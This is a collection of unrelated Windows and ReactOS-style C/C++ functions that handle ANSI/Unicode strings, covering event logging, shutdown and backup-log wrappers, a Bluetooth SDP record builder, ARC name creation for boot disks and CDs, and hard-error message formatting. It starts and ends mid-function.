ERROR_LOG_MAXIMUM_SIZE - sizeof(IO_ERROR_LOG_PACKET); ansi.MaximumLength = uc.MaximumLength / sizeof(WCHAR); ansi.Length = ansi.MaximumLength-1; /* Remember to copy the original message before truncating. Otherwice we _could_ cause some ugly side effects in the calling code. */ msg_copy = ssh_strdup(msg); if (msg_copy != NULL) { /* We write the tail of the message first, so the fractions are displayed in sensible order (with the default setup of the Windows' Event Viever) */ ssh_event_log_cb(facility, severity, &(msg_copy[ansi.Length]), driver); msg_copy[ansi.Length] = 0x00; ssh_event_log_cb(facility, severity, msg_copy, driver); ssh_free(msg_copy); } return; } /* Calc error log packet size */ pkt_size = sizeof(IO_ERROR_LOG_PACKET) + uc.MaximumLength; SSH_ASSERT(pkt_size <= ERROR_LOG_MAXIMUM_SIZE); /* Allocate error log entry */ pkt = IoAllocateErrorLogEntry(driver, (UCHAR)pkt_size); if (pkt != NULL) { switch (severity) { case SSH_LOG_INFORMATIONAL: pkt->ErrorCode = SSH_MSG_INFORMATIONAL; break; case SSH_LOG_NOTICE: pkt->ErrorCode = SSH_MSG_NOTICE; break; case SSH_LOG_WARNING: pkt->ErrorCode = SSH_MSG_WARNING; break; case SSH_LOG_ERROR: pkt->ErrorCode = SSH_MSG_ERROR; break; case SSH_LOG_CRITICAL: pkt->ErrorCode = SSH_MSG_CRITICAL; break; default: SSH_NOTREACHED; break; } /* Init the attributes of error log entry */ pkt->MajorFunctionCode = 0; pkt->RetryCount = 0; pkt->DumpDataSize = 0; pkt->NumberOfStrings = 1; pkt->StringOffset = FIELD_OFFSET(IO_ERROR_LOG_PACKET, DumpData); pkt->EventCategory = 0; pkt->UniqueErrorValue = pkt->ErrorCode; pkt->FinalStatus = STATUS_SUCCESS; pkt->SequenceNumber = 0; pkt->IoControlCode = 0; /* Perform ANSI -> UNICODE conversion */ uc.Buffer = (PUSHORT)&(pkt->DumpData[0]); if (NT_SUCCESS(RtlAnsiStringToUnicodeString(&uc, &ansi, FALSE))) IoWriteErrorLogEntry(pkt); else IoFreeErrorLogEntry(pkt); } }
/****************************************************************************** * ReportEventA [ADVAPI32.@] */ BOOL WINAPI ReportEventA(IN HANDLE hEventLog, IN WORD wType, IN WORD wCategory, IN DWORD dwEventID, IN PSID lpUserSid, IN WORD wNumStrings, IN DWORD dwDataSize, IN LPCSTR *lpStrings, IN LPVOID lpRawData) { NTSTATUS Status; PANSI_STRING *Strings; ANSI_STRING ComputerName; WORD i; CHAR szComputerName[MAX_COMPUTERNAME_LENGTH + 1]; DWORD dwSize; LARGE_INTEGER SystemTime; ULONG Seconds; TRACE("%p, %u, %u, %lu, %p, %u, %lu, %p, %p\n", hEventLog, wType, wCategory, dwEventID, lpUserSid, wNumStrings, dwDataSize, lpStrings, lpRawData); Strings = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, wNumStrings * sizeof(PANSI_STRING)); if (!Strings) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); return FALSE; } for (i = 0; i < wNumStrings; i++) { Strings[i] = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ANSI_STRING)); if (Strings[i]) { RtlInitAnsiString(Strings[i], lpStrings[i]); } } dwSize = MAX_COMPUTERNAME_LENGTH + 1; GetComputerNameA(szComputerName, &dwSize); RtlInitAnsiString(&ComputerName, szComputerName); NtQuerySystemTime(&SystemTime); RtlTimeToSecondsSince1970(&SystemTime, &Seconds); RpcTryExcept { Status = ElfrReportEventA(hEventLog, Seconds, wType, wCategory, dwEventID, wNumStrings, dwDataSize, (PRPC_STRING)&ComputerName, lpUserSid, (PRPC_STRING*)Strings, lpRawData, 0, NULL, NULL); } RpcExcept(EXCEPTION_EXECUTE_HANDLER) { Status = I_RpcMapWin32Status(RpcExceptionCode()); } RpcEndExcept; for (i = 0; i < wNumStrings; i++) { if (Strings[i] != NULL) HeapFree(GetProcessHeap(), 0, Strings[i]); } HeapFree(GetProcessHeap(), 0, Strings); if (!NT_SUCCESS(Status)) { SetLastError(RtlNtStatusToDosError(Status)); return FALSE; } return TRUE; }
/****************************************************************************** * OpenBackupEventLogA [ADVAPI32.@] */ HANDLE WINAPI OpenBackupEventLogA(IN LPCSTR lpUNCServerName, IN LPCSTR lpFileName) { ANSI_STRING UNCServerNameA; UNICODE_STRING UNCServerNameW; ANSI_STRING FileNameA; UNICODE_STRING FileNameW; HANDLE LogHandle; NTSTATUS Status; TRACE("%s, %s\n", lpUNCServerName, lpFileName); /* Convert the server name to unicode */ if (lpUNCServerName == NULL) { RtlInitUnicodeString(&UNCServerNameW, NULL); } else { RtlInitAnsiString(&UNCServerNameA, lpUNCServerName); Status = RtlAnsiStringToUnicodeString(&UNCServerNameW, &UNCServerNameA, TRUE); if (!NT_SUCCESS(Status)) { SetLastError(RtlNtStatusToDosError(Status)); return NULL; } } /* Convert the file name to unicode */ if (lpFileName == NULL) { RtlInitUnicodeString(&FileNameW, NULL); } else { RtlInitAnsiString(&FileNameA, lpFileName); Status = RtlAnsiStringToUnicodeString(&FileNameW, &FileNameA, TRUE); if (!NT_SUCCESS(Status)) { RtlFreeUnicodeString(&UNCServerNameW); SetLastError(RtlNtStatusToDosError(Status)); return NULL; } } /* Call the unicode function */ LogHandle = OpenBackupEventLogW(UNCServerNameW.Buffer, FileNameW.Buffer); /* Free the unicode strings */ RtlFreeUnicodeString(&UNCServerNameW); RtlFreeUnicodeString(&FileNameW); return LogHandle; }
// This function is even more a hack // It will remove the dll from the Debug manager // but vs.net does not unload the symbols (don't know why) // The dll can be loaded again after unloading. // This function leaks memory. void DllLoader::UnloadSymbols() { #ifdef ENABLE_SYMBOL_UNLOADING ANSI_STRING name; OBJECT_ATTRIBUTES attributes; RtlInitAnsiString(&name, GetName()); InitializeObjectAttributes(&attributes, &name, OBJ_CASE_INSENSITIVE, NULL); // Try to unload the symbols from vs.net debugger DbgUnLoadImageSymbols(&name, (ULONG)hModule, 0xFFFFFFFF); LPVOID pBaseAddress=GetXbdmBaseAddress(); if (pBaseAddress) { CoffLoader dllxbdm; if (dllxbdm.ParseHeaders(pBaseAddress)) { int offset=GetDmiOffset(dllxbdm.WindowsHeader->CheckSum); if (offset==0) { CLog::Log(LOGDEBUG,"DllLoader: Unable to unload symbols for %s. No offset for xbdm.dll with checksum 0x%08X found", GetName(), dllxbdm.WindowsHeader->CheckSum); return; } try { std::wstring strNameW; g_charsetConverter.utf8ToW(GetName(), strNameW); // Get the address of the global struct g_dmi // It is located inside the xbdm.dll and // get the LoadedModuleList member (here the entry var) // of the structure. LPBYTE g_dmi=((LPBYTE)pBaseAddress)+offset; LIST_ENTRY* entry=(LIST_ENTRY*)(g_dmi+4); // Search for the dll we are unloading... while (entry) { std::wstring baseName=(wchar_t*)((LDR_DATA_TABLE_ENTRY*)entry)->BaseDllName.Buffer; if (baseName == strNameW) { // ...and remove it from the LoadedModuleList and free its memory. LIST_ENTRY* back=entry->Blink; LIST_ENTRY* front=entry->Flink; back->Flink=front; front->Blink=back; DmFreePool(entry); break; } entry=entry->Flink; } } catch(...) { CLog::Log(LOGDEBUG,"DllLoader: Unloading symbols for %s failed with an exception.", GetName()); } } } else CLog::Log(LOGDEBUG,"DllLoader: Can't unload symbols for %s. xbdm.dll is needed and not loaded", GetName()); #endif }
NTSTATUS CreateSdpRecord( _In_ PBTHDDI_SDP_NODE_INTERFACE SdpNodeInterface, _In_ PBTHDDI_SDP_PARSE_INTERFACE SdpParseInterface, _In_ const GUID * ClassId, _In_ LPWSTR Name, _In_ USHORT Psm, _Out_ PUCHAR * Stream, _Out_ ULONG * Size ) /*++ Description: Create server SDP record Arguments: SdpNodeInterface - Node interface that we obtained from bth stack SdpParseInterface - Parse interface that we obtained from bth stack ClassId - Service Class ID to publish Name - Service name to publish Psm - Server PSM Stream - receives the sdp record stream Size - receives size of sdp record stream Return Value: NTSTATUS Status code. --*/ { NTSTATUS status; PSDP_TREE_ROOT_NODE tree = NULL; PSDP_NODE seqClsIdList, seqProto, seqLang; PSDP_NODE nodeName = NULL, nodeDesc = NULL, nodeProto; UNICODE_STRING unicodeStrName; ANSI_STRING ansiStrName; PUCHAR stream = NULL; ULONG size; ULONG_PTR errorByte = 0; RtlInitUnicodeString(&unicodeStrName, Name); RtlInitAnsiString(&ansiStrName, NULL); status = RtlUnicodeStringToAnsiString(&ansiStrName, &unicodeStrName, TRUE); if (!NT_SUCCESS(status)) { TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, "Creating ANSI string for service name failed, Status code %!STATUS!\n", status); ansiStrName.Length = 0; goto exit; } tree = SdpNodeInterface->SdpCreateNodeTree( POOLTAG_BTHECHOSAMPLE ); if (NULL == tree) { status = STATUS_INSUFFICIENT_RESOURCES; TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, "SdpCreateNodeTree failed, returning Status code %!STATUS!\n", status); goto exit; } // // Add ClassIdList attribute // status = AddSeqAttribute(SdpNodeInterface, tree, SDP_ATTRIB_CLASS_ID_LIST, &seqClsIdList); if (!NT_SUCCESS(status)) { goto exit; } status = AppendNodeUuid128(SdpNodeInterface, seqClsIdList, ClassId); if (!NT_SUCCESS(status)) { goto exit; } // // Add protocols // // // L2CAP // status = AddSeqAttribute(SdpNodeInterface, tree, SDP_ATTRIB_PROTOCOL_DESCRIPTOR_LIST, &seqProto); if (!NT_SUCCESS(status)) { goto exit; } status = AppendSeqNode(SdpNodeInterface, seqProto, &nodeProto); if (!NT_SUCCESS(status)) { goto exit; } status = AppendNodeUuid16(SdpNodeInterface, nodeProto, L2CAP_PROTOCOL_UUID16); if (!NT_SUCCESS(status)) { goto exit; } status = AppendNodeUint16(SdpNodeInterface, nodeProto, Psm); if (!NT_SUCCESS(status)) { goto exit; } // // SDP // status = AppendSeqNode(SdpNodeInterface, seqProto, &nodeProto); if (!NT_SUCCESS(status)) { goto exit; } status = AppendNodeUuid16(SdpNodeInterface, nodeProto, SDP_PROTOCOL_UUID16); if (!NT_SUCCESS(status)) { goto exit; } // // Add lang attributes // status = AddSeqAttribute(SdpNodeInterface, tree, SDP_ATTRIB_LANG_BASE_ATTRIB_ID_LIST, &seqLang); if (!NT_SUCCESS(status)) { goto exit; } status = AppendNodeUint16(SdpNodeInterface, seqLang, 0x656e); //TODO: find constants for these if (!NT_SUCCESS(status)) { goto exit; } status = AppendNodeUint16(SdpNodeInterface, seqLang, 0x006A); if (!NT_SUCCESS(status)) { goto exit; } status = AppendNodeUint16(SdpNodeInterface, seqLang, 0x0100); if (!NT_SUCCESS(status)) { goto exit; } // // Add service name // nodeName = SdpNodeInterface->SdpCreateNodeString( ansiStrName.Buffer, ansiStrName.Length, POOLTAG_BTHECHOSAMPLE ); if(NULL == nodeName) { status = STATUS_INSUFFICIENT_RESOURCES; TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, "Creating node for service name failed, Status code %!STATUS!\n", status); goto exit; } status = SdpNodeInterface->SdpAddAttributeToTree( tree, LANG_DEFAULT_ID+STRING_NAME_OFFSET, nodeName, POOLTAG_BTHECHOSAMPLE ); if(!NT_SUCCESS(status)) { TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, "SdpAddAttributeToTree for service name failed, Status code %!STATUS!\n", status); goto exit; } nodeName = NULL; //transferred owenership to tree nodeDesc = SdpNodeInterface->SdpCreateNodeString( ansiStrName.Buffer, ansiStrName.Length, POOLTAG_BTHECHOSAMPLE ); if(NULL == nodeDesc) { status = STATUS_INSUFFICIENT_RESOURCES; TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, "Creating node for service desc failed, Status code %!STATUS!\n", status); goto exit; } status = SdpNodeInterface->SdpAddAttributeToTree( tree, LANG_DEFAULT_ID+STRING_DESCRIPTION_OFFSET, nodeDesc, POOLTAG_BTHECHOSAMPLE ); if(!NT_SUCCESS(status)) { TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, "SdpAddAttributeToTree for service desc failed, Status code %!STATUS!\n", status); goto exit; } nodeDesc = NULL; // // Create stream from tree // status = SdpParseInterface->SdpConvertTreeToStream(tree, &stream, &size, POOLTAG_BTHECHOSAMPLE); if(!NT_SUCCESS(status)) { TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, "Failed to get stream from tree for SDP record, Status code %!STATUS!\n", status); goto exit; } status = SdpParseInterface->SdpValidateStream( stream, size, &errorByte ); if(!NT_SUCCESS(status)) { TraceEvents(TRACE_LEVEL_ERROR, DBG_SDP, "Validate stream failed for SDP record, first failure at address %p\n", (PVOID)errorByte); goto exit; } *Stream = stream; *Size = size; exit: if (NULL != tree) { SdpNodeInterface->SdpFreeTree(tree); } if (NULL != nodeName) { // // If we failed to add attribute to tree use ExFreePool to free it // ExFreePool(nodeName); } if (NULL != nodeDesc) { // // If we failed to add attribute to tree use ExFreePool to free it // ExFreePool(nodeDesc); } RtlFreeAnsiString(&ansiStrName); if (!NT_SUCCESS(status)) { if (stream != NULL) { ExFreePoolWithTag(stream, POOLTAG_BTHECHOSAMPLE); } } return status; }
/********************************************************************** * InitiateSystemShutdownA * * @unimplemented */ BOOL WINAPI InitiateSystemShutdownA(LPSTR lpMachineName, LPSTR lpMessage, DWORD dwTimeout, BOOL bForceAppsClosed, BOOL bRebootAfterShutdown) { ANSI_STRING MachineNameA; ANSI_STRING MessageA; UNICODE_STRING MachineNameW; UNICODE_STRING MessageW; NTSTATUS Status; INT LastError; BOOL rv; MachineNameW.Buffer = NULL; MessageW.Buffer = NULL; if (lpMachineName) { RtlInitAnsiString(&MachineNameA, lpMachineName); Status = RtlAnsiStringToUnicodeString(&MachineNameW, &MachineNameA, TRUE); if (STATUS_SUCCESS != Status) { SetLastError(RtlNtStatusToDosError(Status)); return FALSE; } } if (lpMessage) { RtlInitAnsiString(&MessageA, lpMessage); Status = RtlAnsiStringToUnicodeString(&MessageW, &MessageA, TRUE); if (STATUS_SUCCESS != Status) { if (MachineNameW.Buffer) { RtlFreeUnicodeString(&MachineNameW); } SetLastError(RtlNtStatusToDosError(Status)); return FALSE; } } rv = InitiateSystemShutdownW(MachineNameW.Buffer, MessageW.Buffer, dwTimeout, bForceAppsClosed, bRebootAfterShutdown); LastError = GetLastError(); if (lpMachineName) { RtlFreeUnicodeString(&MachineNameW); } if (lpMessage) { RtlFreeUnicodeString(&MessageW); } SetLastError(LastError); return rv; }
NTSTATUS INIT_FUNCTION NTAPI IopCreateArcNamesCd(IN PLOADER_PARAMETER_BLOCK LoaderBlock) { PIRP Irp; KEVENT Event; NTSTATUS Status; PLIST_ENTRY NextEntry; PFILE_OBJECT FileObject; PDEVICE_OBJECT DeviceObject; LARGE_INTEGER StartingOffset; IO_STATUS_BLOCK IoStatusBlock; PULONG PartitionBuffer = NULL; CHAR Buffer[128], ArcBuffer[128]; BOOLEAN NotEnabledPresent = FALSE; STORAGE_DEVICE_NUMBER DeviceNumber; ANSI_STRING DeviceStringA, ArcNameStringA; PWSTR SymbolicLinkList, lSymbolicLinkList; PARC_DISK_SIGNATURE ArcDiskSignature = NULL; UNICODE_STRING DeviceStringW, ArcNameStringW; ULONG DiskNumber, CdRomCount, CheckSum, i, EnabledDisks = 0; PARC_DISK_INFORMATION ArcDiskInformation = LoaderBlock->ArcDiskInformation; /* Get all the Cds present in the system */ CdRomCount = IoGetConfigurationInformation()->CdRomCount; /* Get enabled Cds and check if result matches * For the record, enabled Cds (or even disk) are Cds/disks * that have been successfully handled by MountMgr driver * and that already own their device name. This is the "new" way * to handle them, that came with NT5. * Currently, Windows 2003 provides an arc names creation based * on both enabled drives and not enabled drives (lack from * the driver). * Given the current Odyssey state, that's good for us. * To sum up, this is NOT a hack or whatsoever. */ Status = IopFetchConfigurationInformation(&SymbolicLinkList, GUID_DEVINTERFACE_CDROM, CdRomCount, &EnabledDisks); if (!NT_SUCCESS(Status)) { NotEnabledPresent = TRUE; } /* Save symbolic link list address in order to free it after */ lSymbolicLinkList = SymbolicLinkList; /* For the moment, we won't fail */ Status = STATUS_SUCCESS; /* Browse all the ARC devices trying to find the one matching boot device */ for (NextEntry = ArcDiskInformation->DiskSignatureListHead.Flink; NextEntry != &ArcDiskInformation->DiskSignatureListHead; NextEntry = NextEntry->Flink) { ArcDiskSignature = CONTAINING_RECORD(NextEntry, ARC_DISK_SIGNATURE, ListEntry); if (strcmp(LoaderBlock->ArcBootDeviceName, ArcDiskSignature->ArcName) == 0) { break; } ArcDiskSignature = NULL; } /* Not found... Not booting from a Cd */ if (!ArcDiskSignature) { DPRINT("Failed finding a cd that could match current boot device\n"); goto Cleanup; } /* Allocate needed space for reading Cd */ PartitionBuffer = ExAllocatePoolWithTag(NonPagedPoolCacheAligned, 2048, TAG_IO); if (!PartitionBuffer) { DPRINT("Failed allocating resources!\n"); /* Here, we fail, BUT we return success, some Microsoft joke */ goto Cleanup; } /* If we have more enabled Cds, take that into account */ if (EnabledDisks > CdRomCount) { CdRomCount = EnabledDisks; } /* If we'll have to browse for none enabled Cds, fix higher count */ if (NotEnabledPresent && !EnabledDisks) { CdRomCount += 5; } /* Finally, if in spite of all that work, we still don't have Cds, leave */ if (!CdRomCount) { goto Cleanup; } /* Start browsing Cds */ for (DiskNumber = 0, EnabledDisks = 0; DiskNumber < CdRomCount; DiskNumber++) { /* Check if we have an enabled disk */ if (SymbolicLinkList && *SymbolicLinkList != UNICODE_NULL) { /* Create its device name using first symbolic link */ RtlInitUnicodeString(&DeviceStringW, lSymbolicLinkList); /* Then, update symbolic links list */ lSymbolicLinkList += wcslen(lSymbolicLinkList) + (sizeof(UNICODE_NULL) / sizeof(WCHAR)); /* Get its associated device object and file object */ Status = IoGetDeviceObjectPointer(&DeviceStringW, FILE_READ_ATTRIBUTES, &FileObject, &DeviceObject); /* Failure? Good bye! */ if (!NT_SUCCESS(Status)) { goto Cleanup; } /* Now, we'll ask the device its device number */ Irp = IoBuildDeviceIoControlRequest(IOCTL_STORAGE_GET_DEVICE_NUMBER, DeviceObject, NULL, 0, &DeviceNumber, sizeof(STORAGE_DEVICE_NUMBER), FALSE, &Event, &IoStatusBlock); /* Failure? Good bye! */ if (!Irp) { /* Dereference file object before leaving */ ObDereferenceObject(FileObject); Status = STATUS_INSUFFICIENT_RESOURCES; goto Cleanup; } /* Call the driver, and wait for it if needed */ KeInitializeEvent(&Event, NotificationEvent, FALSE); Status = IoCallDriver(DeviceObject, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL); Status = IoStatusBlock.Status; } if (!NT_SUCCESS(Status)) { ObDereferenceObject(FileObject); goto Cleanup; } /* Finally, build proper device name */ sprintf(Buffer, "\\Device\\CdRom%lu", DeviceNumber.DeviceNumber); RtlInitAnsiString(&DeviceStringA, Buffer); Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE); if (!NT_SUCCESS(Status)) { ObDereferenceObject(FileObject); goto Cleanup; } } else { /* Create device name for the cd */ sprintf(Buffer, "\\Device\\CdRom%lu", EnabledDisks++); RtlInitAnsiString(&DeviceStringA, Buffer); Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE); if (!NT_SUCCESS(Status)) { goto Cleanup; } /* Get its device object */ Status = IoGetDeviceObjectPointer(&DeviceStringW, FILE_READ_ATTRIBUTES, &FileObject, &DeviceObject); if (!NT_SUCCESS(Status)) { RtlFreeUnicodeString(&DeviceStringW); goto Cleanup; } } /* Initiate data for reading cd and compute checksum */ StartingOffset.QuadPart = 0x8000; CheckSum = 0; Irp = IoBuildSynchronousFsdRequest(IRP_MJ_READ, DeviceObject, PartitionBuffer, 2048, &StartingOffset, &Event, &IoStatusBlock); if (Irp) { /* Call the driver, and wait for it if needed */ KeInitializeEvent(&Event, NotificationEvent, FALSE); Status = IoCallDriver(DeviceObject, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL); Status = IoStatusBlock.Status; } /* Reading succeed, compute checksum by adding data, 2048 bytes checksum */ if (NT_SUCCESS(Status)) { for (i = 0; i < 2048 / sizeof(ULONG); i++) { CheckSum += PartitionBuffer[i]; } } } /* Dereference file object */ ObDereferenceObject(FileObject); /* If checksums are matching, we have the proper cd */ if (CheckSum + ArcDiskSignature->CheckSum == 0) { /* Create ARC name */ sprintf(ArcBuffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName); RtlInitAnsiString(&ArcNameStringA, ArcBuffer); Status = RtlAnsiStringToUnicodeString(&ArcNameStringW, &ArcNameStringA, TRUE); if (NT_SUCCESS(Status)) { /* Create symbolic link */ IoCreateSymbolicLink(&ArcNameStringW, &DeviceStringW); RtlFreeUnicodeString(&ArcNameStringW); DPRINT1("Boot device found\n"); } /* And quit, whatever happens */ RtlFreeUnicodeString(&DeviceStringW); goto Cleanup; } /* Free string before trying another disk */ RtlFreeUnicodeString(&DeviceStringW); } Cleanup: if (PartitionBuffer) { ExFreePoolWithTag(PartitionBuffer, TAG_IO); } if (SymbolicLinkList) { ExFreePool(SymbolicLinkList); } return Status; }
static NTSTATUS UserpFormatMessages( OUT PUNICODE_STRING TextStringU, OUT PUNICODE_STRING CaptionStringU, IN PULONG_PTR Parameters, IN ULONG SizeOfStrings, IN PHARDERROR_MSG Message, IN HANDLE hProcess) { NTSTATUS Status; UNICODE_STRING FileNameU, TempStringU, FormatU; ANSI_STRING FormatA; PMESSAGE_RESOURCE_ENTRY MessageResource; PWSTR FormatString; ULONG Size, ExceptionCode; /* Get the file name of the client process */ UserpGetClientFileName(&FileNameU, hProcess); /* Check if we have a file name */ if (!FileNameU.Buffer) { /* No, use system */ RtlInitUnicodeString(&FileNameU, L"System"); } /* Get text string of the error code */ Status = RtlFindMessage(GetModuleHandleW(L"ntdll"), (ULONG_PTR)RT_MESSAGETABLE, LANG_NEUTRAL, Message->Status, &MessageResource); if (NT_SUCCESS(Status)) { if (MessageResource->Flags) { RtlInitUnicodeString(&FormatU, (PWSTR)MessageResource->Text); FormatA.Buffer = NULL; } else { RtlInitAnsiString(&FormatA, (PCHAR)MessageResource->Text); RtlAnsiStringToUnicodeString(&FormatU, &FormatA, TRUE); } } else { /* Fall back to hardcoded value */ RtlInitUnicodeString(&FormatU, L"Unknown Hard Error"); FormatA.Buffer = NULL; } FormatString = FormatU.Buffer; /* Check whether a caption exists */ if (FormatString[0] == L'{') { /* Set caption start */ TempStringU.Buffer = ++FormatString; /* Get size of the caption */ for (Size = 0; *FormatString != 0 && *FormatString != L'}'; Size++) FormatString++; /* Skip '}', '\r', '\n' */ FormatString += 3; TempStringU.Length = Size * sizeof(WCHAR); TempStringU.MaximumLength = TempStringU.Length; } else { /* FIXME: Set string based on severity */ RtlInitUnicodeString(&TempStringU, L"Application Error"); } /* Calculate buffer length for the caption */ CaptionStringU->MaximumLength = FileNameU.Length + TempStringU.Length + 4 * sizeof(WCHAR); /* Allocate a buffer for the caption */ CaptionStringU->Buffer = RtlAllocateHeap(RtlGetProcessHeap(), HEAP_ZERO_MEMORY, CaptionStringU->MaximumLength); /* Append the file name, seperator and the caption text */ CaptionStringU->Length = 0; RtlAppendUnicodeStringToString(CaptionStringU, &FileNameU); RtlAppendUnicodeToString(CaptionStringU, L" - "); RtlAppendUnicodeStringToString(CaptionStringU, &TempStringU); /* Zero terminate the buffer */ CaptionStringU->Buffer[CaptionStringU->Length / sizeof(WCHAR)] = 0; /* Free the file name buffer */ RtlFreeUnicodeString(&FileNameU); /* Check if this is an exception message */ if (Message->Status == STATUS_UNHANDLED_EXCEPTION) { ExceptionCode = Parameters[0]; /* Handle special cases */ if (ExceptionCode == STATUS_ACCESS_VIOLATION) { Parameters[0] = Parameters[1]; Parameters[1] = Parameters[3]; if (Parameters[2]) Parameters[2] = (ULONG_PTR)L"written"; else Parameters[2] = (ULONG_PTR)L"read"; MessageResource = NULL; } else if (ExceptionCode == STATUS_IN_PAGE_ERROR) { Parameters[0] = Parameters[1]; Parameters[1] = Parameters[3]; MessageResource = NULL; } else { /* Fall back to hardcoded value */ Parameters[2] = Parameters[1]; Parameters[1] = Parameters[0]; Parameters[0] = (ULONG_PTR)L"unknown software exception"; } if (!MessageResource) { /* Get text string of the exception code */ Status = RtlFindMessage(GetModuleHandleW(L"ntdll"), (ULONG_PTR)RT_MESSAGETABLE, LANG_NEUTRAL, ExceptionCode, &MessageResource); if (NT_SUCCESS(Status)) { if (FormatA.Buffer) RtlFreeUnicodeString(&FormatU); if (MessageResource->Flags) { RtlInitUnicodeString(&FormatU, (PWSTR)MessageResource->Text); FormatA.Buffer = NULL; } else { RtlInitAnsiString(&FormatA, (PCHAR)MessageResource->Text); RtlAnsiStringToUnicodeString(&FormatU, &FormatA, TRUE); } FormatString = FormatU.Buffer; } else { /* Fall back to hardcoded value */ Parameters[2] = Parameters[1]; Parameters[1] = Parameters[0]; Parameters[0] = (ULONG_PTR)L"unknown software exception"; } } } /* Calculate length of text buffer */ TextStringU->MaximumLength = FormatU.Length + SizeOfStrings + 42 * sizeof(WCHAR); /* Allocate a buffer for the text */ TextStringU->Buffer = RtlAllocateHeap(RtlGetProcessHeap(), HEAP_ZERO_MEMORY, TextStringU->MaximumLength); /* Wrap in SEH to protect from invalid string parameters */ _SEH2_TRY { /* Print the string into the buffer */ StringCbPrintfW(TextStringU->Buffer, TextStringU->MaximumLength, FormatString, Parameters[0], Parameters[1], Parameters[2], Parameters[3]); Status = STATUS_SUCCESS; } _SEH2_EXCEPT(EXCEPTION_EXECUTE_HANDLER) { /* Set error and free buffers */ Status = _SEH2_GetExceptionCode(); RtlFreeHeap(RtlGetProcessHeap(), 0, TextStringU->Buffer); RtlFreeHeap(RtlGetProcessHeap(), 0, CaptionStringU->Buffer); } _SEH2_END if (NT_SUCCESS(Status)) { TextStringU->Length = wcslen(TextStringU->Buffer) * sizeof(WCHAR); } if (FormatA.Buffer) RtlFreeUnicodeString(&FormatU); return Status; }
NTSTATUS INIT_FUNCTION NTAPI IopCreateArcNamesDisk(IN PLOADER_PARAMETER_BLOCK LoaderBlock, IN BOOLEAN SingleDisk, IN PBOOLEAN FoundBoot) { PIRP Irp; PVOID Data; KEVENT Event; NTSTATUS Status; PLIST_ENTRY NextEntry; PFILE_OBJECT FileObject; DISK_GEOMETRY DiskGeometry; PDEVICE_OBJECT DeviceObject; LARGE_INTEGER StartingOffset; PULONG PartitionBuffer = NULL; IO_STATUS_BLOCK IoStatusBlock; CHAR Buffer[128], ArcBuffer[128]; BOOLEAN NotEnabledPresent = FALSE; STORAGE_DEVICE_NUMBER DeviceNumber; PARC_DISK_SIGNATURE ArcDiskSignature; PWSTR SymbolicLinkList, lSymbolicLinkList; PDRIVE_LAYOUT_INFORMATION_EX DriveLayout = NULL; UNICODE_STRING DeviceStringW, ArcNameStringW, HalPathStringW; ULONG DiskNumber, DiskCount, CheckSum, i, Signature, EnabledDisks = 0; PARC_DISK_INFORMATION ArcDiskInformation = LoaderBlock->ArcDiskInformation; ANSI_STRING ArcBootString, ArcSystemString, DeviceStringA, ArcNameStringA, HalPathStringA; /* Initialise device number */ DeviceNumber.DeviceNumber = 0xFFFFFFFF; /* Get all the disks present in the system */ DiskCount = IoGetConfigurationInformation()->DiskCount; /* Get enabled disks and check if result matches */ Status = IopFetchConfigurationInformation(&SymbolicLinkList, GUID_DEVINTERFACE_DISK, DiskCount, &EnabledDisks); if (!NT_SUCCESS(Status)) { NotEnabledPresent = TRUE; } /* Save symbolic link list address in order to free it after */ lSymbolicLinkList = SymbolicLinkList; /* Build the boot strings */ RtlInitAnsiString(&ArcBootString, LoaderBlock->ArcBootDeviceName); RtlInitAnsiString(&ArcSystemString, LoaderBlock->ArcHalDeviceName); /* If we have more enabled disks, take that into account */ if (EnabledDisks > DiskCount) { DiskCount = EnabledDisks; } /* If we'll have to browse for none enabled disks, fix higher count */ if (NotEnabledPresent && !EnabledDisks) { DiskCount += 20; } /* Finally, if in spite of all that work, we still don't have disks, leave */ if (!DiskCount) { goto Cleanup; } /* Start browsing disks */ for (DiskNumber = 0; DiskNumber < DiskCount; DiskNumber++) { /* Check if we have an enabled disk */ if (lSymbolicLinkList && *lSymbolicLinkList != UNICODE_NULL) { /* Create its device name using first symbolic link */ RtlInitUnicodeString(&DeviceStringW, lSymbolicLinkList); /* Then, update symbolic links list */ lSymbolicLinkList += wcslen(lSymbolicLinkList) + (sizeof(UNICODE_NULL) / sizeof(WCHAR)); /* Get its associated device object and file object */ Status = IoGetDeviceObjectPointer(&DeviceStringW, FILE_READ_ATTRIBUTES, &FileObject, &DeviceObject); if (NT_SUCCESS(Status)) { /* Now, we'll ask the device its device number */ Irp = IoBuildDeviceIoControlRequest(IOCTL_STORAGE_GET_DEVICE_NUMBER, DeviceObject, NULL, 0, &DeviceNumber, sizeof(STORAGE_DEVICE_NUMBER), FALSE, &Event, &IoStatusBlock); /* Missing resources is a shame... No need to go farther */ if (!Irp) { ObDereferenceObject(FileObject); Status = STATUS_INSUFFICIENT_RESOURCES; goto Cleanup; } /* Call the driver, and wait for it if needed */ KeInitializeEvent(&Event, NotificationEvent, FALSE); Status = IoCallDriver(DeviceObject, Irp); if (Status == STATUS_PENDING) { KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL); Status = IoStatusBlock.Status; } /* If we didn't get the appriopriate data, just skip that disk */ if (!NT_SUCCESS(Status)) { ObDereferenceObject(FileObject); continue; } } /* End of enabled disks enumeration */ if (NotEnabledPresent && *lSymbolicLinkList == UNICODE_NULL) { /* No enabled disk worked, reset field */ if (DeviceNumber.DeviceNumber == 0xFFFFFFFF) { DeviceNumber.DeviceNumber = 0; } /* Update disk number to enable the following not enabled disks */ if (DeviceNumber.DeviceNumber > DiskNumber) { DiskNumber = DeviceNumber.DeviceNumber; } /* Increase a bit more 